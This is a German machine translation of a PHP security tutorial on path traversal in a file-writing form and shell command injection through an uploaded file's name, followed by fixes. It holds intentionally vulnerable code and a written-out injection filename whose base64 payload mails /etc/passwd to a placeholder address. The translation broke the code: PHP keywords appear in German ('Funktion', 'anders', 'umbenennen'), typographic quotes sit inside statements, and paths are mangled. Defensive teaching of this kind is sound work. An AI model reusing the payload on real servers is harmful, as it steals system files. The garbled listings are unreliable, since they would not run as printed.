Wie wichtig es ist, auf Sicherheitsprobleme zu achten Mehr als alles sehen
Der effektivste, aber oft übersehene Weg, um zu verhindern, dass Benutzer Ihre Programme böswillig beschädigen, besteht darin, diese Möglichkeit beim Schreiben Ihres Codes zu berücksichtigen. Es ist wichtig, sich möglicher Sicherheitsprobleme in Ihrem Code bewusst zu sein. Betrachten Sie die folgende Beispielfunktion, die das Schreiben großer Textdateien in PHP vereinfachen soll:
<?php
Funktion write_text($filename, $text="") {
static $open_files = array();
// Wenn der Dateiname leer ist, schließen Sie alle Dateien
if ($filename == NULL) {
foreach($open_files as $fr) {
fclose($fr);
}
return true;
}
$index = md5($filename);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($filename, "a+");
if(!$open_files[$index]) return false;
}
fputs($open_files[$index], $text);
return true;
}
?>
Diese Funktion benötigt zwei Standardparameter, den Dateinamen und den Text, der in die Datei geschrieben werden soll.
Die Funktion prüft zunächst, ob die Datei bereits geöffnet ist. Wenn ja, wird das ursprüngliche Dateihandle verwendet. Andernfalls wird es von selbst erstellt. In beiden Fällen wird der Text in die Datei geschrieben.
Wenn der an die Funktion übergebene Dateiname NULL ist, werden alle geöffneten Dateien geschlossen. Nachfolgend finden Sie ein Anwendungsbeispiel.
Diese Funktion wird viel klarer und besser lesbar, wenn der Entwickler mehrere Textdateien im folgenden Format schreibt.
Nehmen wir an, dass diese Funktion in einer separaten Datei vorhanden ist, die den Code enthält, der diese Funktion aufruft.
Unten ist ein solches Programm, nennen wir es quotes.php:
<html><body>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
Wählen Sie die Art des Zitats:
<select name="quote" size="3">
<option value="funny">Humorvolle Zitate</option>
<option value="political">Politische Zitate</option>
<option value="love">Romantische Zitate</option>
</select><br />
Das Zitat: <input type="text" name="quote_text" size="30" />
<input type="submit" value="Angebot speichern" />
</form>
</body></html>
<?php
include_once('write_text.php');
$filename = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
if (write_text($filename, $quote_msg)) {
echo "<center><hr><h2>Angebot gespeichert!</h2></center>";
} anders {
echo „<center><hr><h2>Fehler beim Schreiben des Zitats</h2></center>“;
}
write_text(NULL);
?>
Wie Sie sehen können, hat der Entwickler die Funktion write_text() verwendet, um ein System zu erstellen, in dem Benutzer ihre Lieblingszitate einreichen können, die in einer Textdatei gespeichert werden.
Leider haben die Entwickler möglicherweise nicht gedacht, dass dieses Programm es auch böswilligen Benutzern ermöglicht, die Sicherheit des Webservers zu gefährden.
Vielleicht fragen Sie sich gerade, wie dieses scheinbar harmlose Programm ein Sicherheitsrisiko darstellen könnte.
Wenn Sie es nicht wissen, ziehen Sie die folgende URL in Betracht und denken Sie daran, dass dieses Programm quotes.php heißt:
http://www.somewhere.com/fun/quotes.php?quote=different_file.dat"e_text=garbage+data
Wenn dies Die URL wird an übergeben. Was passiert, wenn ein Webserver verwendet wird?
Offensichtlich wird quotes.php ausgeführt, aber anstatt ein Zitat in eine der drei gewünschten Dateien zu schreiben, wird stattdessen eine neue Datei namens different_file.dat erstellt, die die Zeichenfolge Garbage Data enthält.
Offensichtlich ist dies kein gewünschtes Verhalten. Ein böswilliger Benutzer könnte auf die UNIX-Passwortdatei zugreifen und ein Konto erstellen, indem er das Zitat als ../../../etc/passwd angibt (obwohl dies erfordert, dass der Webserver das Programm als Superuser ausführt). . Wenn es so ist, sollten Sie aufhören zu lesen und es jetzt beheben.
Wenn /home/web/quotes/ über einen Browser zugänglich ist, besteht das vielleicht schwerwiegendste Sicherheitsproblem bei diesem Programm darin, dass es jedem Benutzer erlaubt, beliebige PHP-Programme zu schreiben und auszuführen. Dies wird endlosen Ärger verursachen.
Hier sind einige Lösungen. Wenn Sie nur wenige Dateien in ein Verzeichnis schreiben müssen, sollten Sie die Verwendung eines zugehörigen Arrays zum Speichern der Dateinamen in Betracht ziehen. Wenn die vom Benutzer eingegebene Datei in diesem Array vorhanden ist, kann sie sicher geschrieben werden. Eine andere Idee besteht darin, alle Zeichen zu entfernen, die keine Buchstaben oder Zahlen sind, um sicherzustellen, dass keine Verzeichnistrennzeichen vorhanden sind. Eine andere Möglichkeit besteht darin, die Dateierweiterung zu überprüfen, um sicherzustellen, dass die Datei nicht vom Webserver ausgeführt wird.
Das Prinzip ist einfach: Als Entwickler müssen Sie mehr darüber nachdenken, was Ihr Programm tut, wenn Sie es ausführen möchten.
Was passiert, wenn illegale Daten in ein Formularelement gelangen? Könnte ein böswilliger Benutzer dazu führen, dass sich Ihr Programm unbeabsichtigt verhält? Was kann getan werden, um diese Angriffe zu stoppen? Ihr Webserver und Ihr PHP-Programm sind nur unter dem schwächsten Sicherheitslink sicher. Daher ist es wichtig zu bestätigen, dass diese potenziell unsicheren Links sicher sind.
Häufige sicherheitsbezogene Fehler Hier sind einige Highlights, eine kurze und unvollständige Liste von Codierungs- und Verwaltungsfehlern
, die die Sicherheit beeinträchtigen können 1. Vertrauen Sie Daten. Dies ist ein Thema, das sich durch meine Diskussion über die Sicherheit von PHP-Programmen zieht. Sie sollten niemals Daten vertrauen, die von außen kommen. Unabhängig davon, ob sie aus einem vom Benutzer übermittelten Formular, einer Datei im Dateisystem oder einer Umgebungsvariablen stammen, können keine Daten einfach als selbstverständlich angesehen werden. Daher müssen Benutzereingaben validiert und formatiert werden, um die Sicherheit zu gewährleisten.
Fehler 2. Speichern sensibler Daten in Webverzeichnissen Alle sensiblen Daten sollten in Dateien getrennt von den Programmen gespeichert werden, die die Daten verwenden müssen, und in einem Verzeichnis, auf das über den Browser nicht zugegriffen werden kann. Wenn vertrauliche Daten verwendet werden müssen, schließen Sie diese über include- oder require-Anweisungen in das entsprechende PHP-Programm ein.
Fehler 3. Nichtbeachtung der empfohlenen Sicherheitsvorkehrungen
Das PHP-Handbuch enthält ein vollständiges Kapitel über Sicherheitsvorkehrungen beim Verwenden und Schreiben von PHP-Programmen. Das Handbuch erklärt anhand von Fallbeispielen auch (fast) anschaulich, wann potenzielle Sicherheitsrisiken bestehen und wie diese minimiert werden können. In einem anderen Beispiel verlassen sich böswillige Benutzer auf die Fehler von Entwicklern und Administratoren, um an die Sicherheitsinformationen zu gelangen, die ihnen wichtig sind, um Systemberechtigungen zu erhalten. Beachten Sie diese Warnungen und ergreifen Sie geeignete Maßnahmen, um die Möglichkeit zu verringern, dass ein böswilliger Benutzer Ihrem System echten Schaden zufügt.
Systemaufrufe in PHP ausführen Es gibt viele Möglichkeiten, Systemaufrufe in PHP auszuführen.
Mit system(), exec(), passhru(), popen() und dem Backquote-Operator (`) können Sie beispielsweise Systemaufrufe in Ihrem Programm ausführen. Die unsachgemäße Verwendung dieser Funktionen öffnet böswilligen Benutzern die Tür, um Systembefehle auf Ihrem Server auszuführen. Wie beim Zugriff auf Dateien entstehen in den allermeisten Fällen Sicherheitslücken aufgrund unzuverlässiger externer Eingaben, die zur Ausführung von Systembefehlen führen.
Ein Beispielprogramm, das Systemaufrufe verwendet. Stellen Sie sich ein Programm vor, das HTTP-Datei-Uploads verarbeitet. Es verwendet das Zip-Programm, um die Datei zu komprimieren und sie dann in ein angegebenes Verzeichnis zu verschieben (Standard ist /usr/local/archives/). Der Code lautet wie folgt:
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
if (file_exists($cmp_name)) {
$savepath = $store_path.$filename;
umbenennen($cmp_name, $savepath);
}
}
}
?>
<form enctype="multipart/form-data" action="<?
php echo $_SERVER['PHP_SELF'];
?>" method="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
Zu komprimierende Datei: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
Obwohl dieses Programm recht einfach und leicht zu verstehen aussieht, gibt es einige Möglichkeiten, wie ein böswilliger Benutzer es ausnutzen kann. Das schwerwiegendste Sicherheitsproblem besteht, wenn wir den Komprimierungsbefehl ausführen (über den `-Operator), was in der folgenden Zeile deutlich zu sehen ist:
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($
cmp_name) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
...
Bringen Sie das Programm dazu, beliebige Shell-Befehle auszuführen. Obwohl dieser Code recht sicher aussieht, kann er jedem Benutzer mit Datei-Upload-Berechtigungen die Ausführung beliebiger Shell-Befehle ermöglichen.
Genauer gesagt entsteht diese Sicherheitslücke durch die Zuweisung der Variablen $cmp_name. Hier möchten wir, dass die komprimierte Datei denselben Dateinamen hat wie beim Hochladen vom Client (mit der Erweiterung .zip). Wir haben $_FILES['file']['name'] verwendet (das den Dateinamen der hochgeladenen Datei auf dem Client enthält).
In einer solchen Situation können böswillige Benutzer ihre Ziele erreichen, indem sie eine Datei hochladen, die Zeichen enthält, die für das zugrunde liegende Betriebssystem eine besondere Bedeutung haben. Was passiert beispielsweise, wenn der Benutzer eine leere Datei erstellt, wie unten gezeigt? (von der UNIX-Shell-Eingabeaufforderung)
[user@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';"
Dieser Befehl erstellt eine Datei mit folgendem Namen:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';
Sieht komisch aus? Werfen wir einen Blick auf diesen „Dateinamen“ und sehen, dass er dem Befehl sehr ähnlich sieht, der die CLI-Version von PHP veranlasst, den folgenden Code auszuführen:
<?php
$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);
?>
Wenn Sie aus Neugier den Inhalt der Variablen $code anzeigen, werden Sie feststellen, dass sie [email protected] < /etc/passwd enthält. Wenn der Benutzer diese Datei an ein Programm übergibt und PHP dann einen Systemaufruf zum Komprimieren der Datei ausführt, führt PHP tatsächlich die folgende Anweisung aus:
/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';.zip /tmp/phpY4iatI
Überraschenderweise besteht der obige Befehl nicht aus einer Anweisung, sondern aus drei! Da die UNIX-Shell ein Semikolon (;) als Ende eines Shell-Befehls und als Anfang eines anderen Befehls interpretiert, außer wenn das Semikolon in Anführungszeichen steht, wird system() von PHP tatsächlich wie folgt ausgeführt:
[user@localhost]# / usr /bin/zip /tmp/
[Benutzer@localhost]# php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);'
[user@localhost]# .zip /tmp/phpY4iatI
Wie Sie sehen, verwandelte sich dieses scheinbar harmlose PHP-Programm plötzlich in eine Hintertür, die beliebige Shell-Befehle und andere PHP-Programme ausführen kann. Obwohl dieses Beispiel nur auf Systemen funktioniert, deren Pfad die CLI-Version von PHP enthält, gibt es andere Möglichkeiten, mit dieser Technik den gleichen Effekt zu erzielen.
Der Schlüssel
zur Bekämpfung von Systemaufrufangriffen
liegt immer noch darin, dass den Eingaben des Benutzers, unabhängig vom Inhalt, nicht vertraut werden sollte!Es bleibt die Frage, wie ähnliche Situationen bei der Verwendung von Systemaufrufen vermieden werden können (außer sie überhaupt nicht zu verwenden). Um diese Art von Angriff zu bekämpfen, stellt PHP zwei Funktionen zur Verfügung: escapeshellarg() und escapeshellcmd().
Die Funktion escapeshellarg() soll potenziell gefährliche Zeichen aus Benutzereingaben entfernen, die als Argumente für Systembefehle (in unserem Fall den Befehl zip) verwendet werden. Die Syntax dieser Funktion lautet wie folgt:
escapeshellarg($string)
$string ist die zum Filtern verwendete Eingabe und der Rückgabewert sind die gefilterten Zeichen. Bei der Ausführung fügt diese Funktion einfache Anführungszeichen um die Zeichen ein und setzt die einfachen Anführungszeichen in der ursprünglichen Zeichenfolge als Escapezeichen (voran). Wenn wir in unserer Routine diese Zeilen hinzufügen, bevor wir den Systembefehl ausführen:
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
Wir können solche Sicherheitsrisiken vermeiden, indem wir sicherstellen, dass der an den Systemaufruf übergebene Parameter verarbeitet wurde und eine Benutzereingabe ohne andere Absicht ist.
escapeshellcmd() ähnelt escapeshellarg(), außer dass es nur Zeichen maskiert, die für das zugrunde liegende Betriebssystem eine besondere Bedeutung haben. Im Gegensatz zu escapeshellarg() verarbeitet escapeshellcmd() keine Leerzeichen im Inhalt. Wenn beispielsweise mit escapeshellcmd() ein Escapezeichen verwendet wird, werden die Zeichen
$string = "'hello, world!';evilcommand"
Wird zu:
„hello, world“;evilcommand
Wenn diese Zeichenfolge als Argument für einen Systemaufruf verwendet wird, liefert sie dennoch keine korrekten Ergebnisse, da die Shell sie als zwei separate Argumente interpretiert: „hello and world“;evilcommand. Wenn der Benutzer einen Teil der Argumentliste für einen Systemaufruf eingibt, ist escapeshellarg() die bessere Wahl.
Hochgeladene Dateien schützen In diesem Artikel habe ich mich ausschließlich darauf konzentriert, wie Systemaufrufe von böswilligen Benutzern missbraucht werden können, um unerwünschte Ergebnisse zu erzielen.
Allerdings gibt es hier noch ein weiteres potenzielles Sicherheitsrisiko, das erwähnt werden sollte. Schauen Sie sich unsere Routine noch einmal an und richten Sie Ihre Aufmerksamkeit auf die folgende Zeile:
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
Ein potenzielles Sicherheitsrisiko durch die Codezeilen im obigen Snippet besteht darin, dass wir in der letzten Zeile feststellen, ob die hochgeladene Datei tatsächlich existiert (sie existiert mit dem temporären Dateinamen $tmp_name).
Dieses Sicherheitsrisiko entsteht nicht durch PHP selbst, sondern durch die Tatsache, dass der in $tmp_name gespeicherte Dateiname eigentlich gar keine Datei ist, sondern auf die Datei verweist, auf die der böswillige Benutzer zugreifen möchte, beispielsweise /etc/passwd.
Um dies zu verhindern, stellt PHP die Funktion is_uploaded_file() zur Verfügung, die mit file_exists() identisch ist, aber auch eine Überprüfung ermöglicht, ob die Datei tatsächlich vom Client hochgeladen wird.
In den meisten Fällen müssen Sie die hochgeladene Datei verschieben. PHP stellt die Funktion move_uploaded_file() zur Verfügung, um mit is_uploaded_file() zu arbeiten. Diese Funktion wird wie rename() zum Verschieben von Dateien verwendet, außer dass vor der Ausführung automatisch überprüft wird, ob es sich bei der verschobenen Datei um die hochgeladene Datei handelt. Die Syntax von move_uploaded_file() lautet wie folgt:
move_uploaded_file($filename, $destination);
Bei der Ausführung verschiebt die Funktion die hochgeladene Datei $filename zum Ziel $destination und gibt einen booleschen Wert zurück, der angibt, ob der Vorgang erfolgreich war.
Hinweis: John Coggeshall ist PHP-Berater und Autor. Es ist ungefähr 5 Jahre her, seit er angefangen hat, sich mit PHP herumzuschlagen.
Englischer Originaltext: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html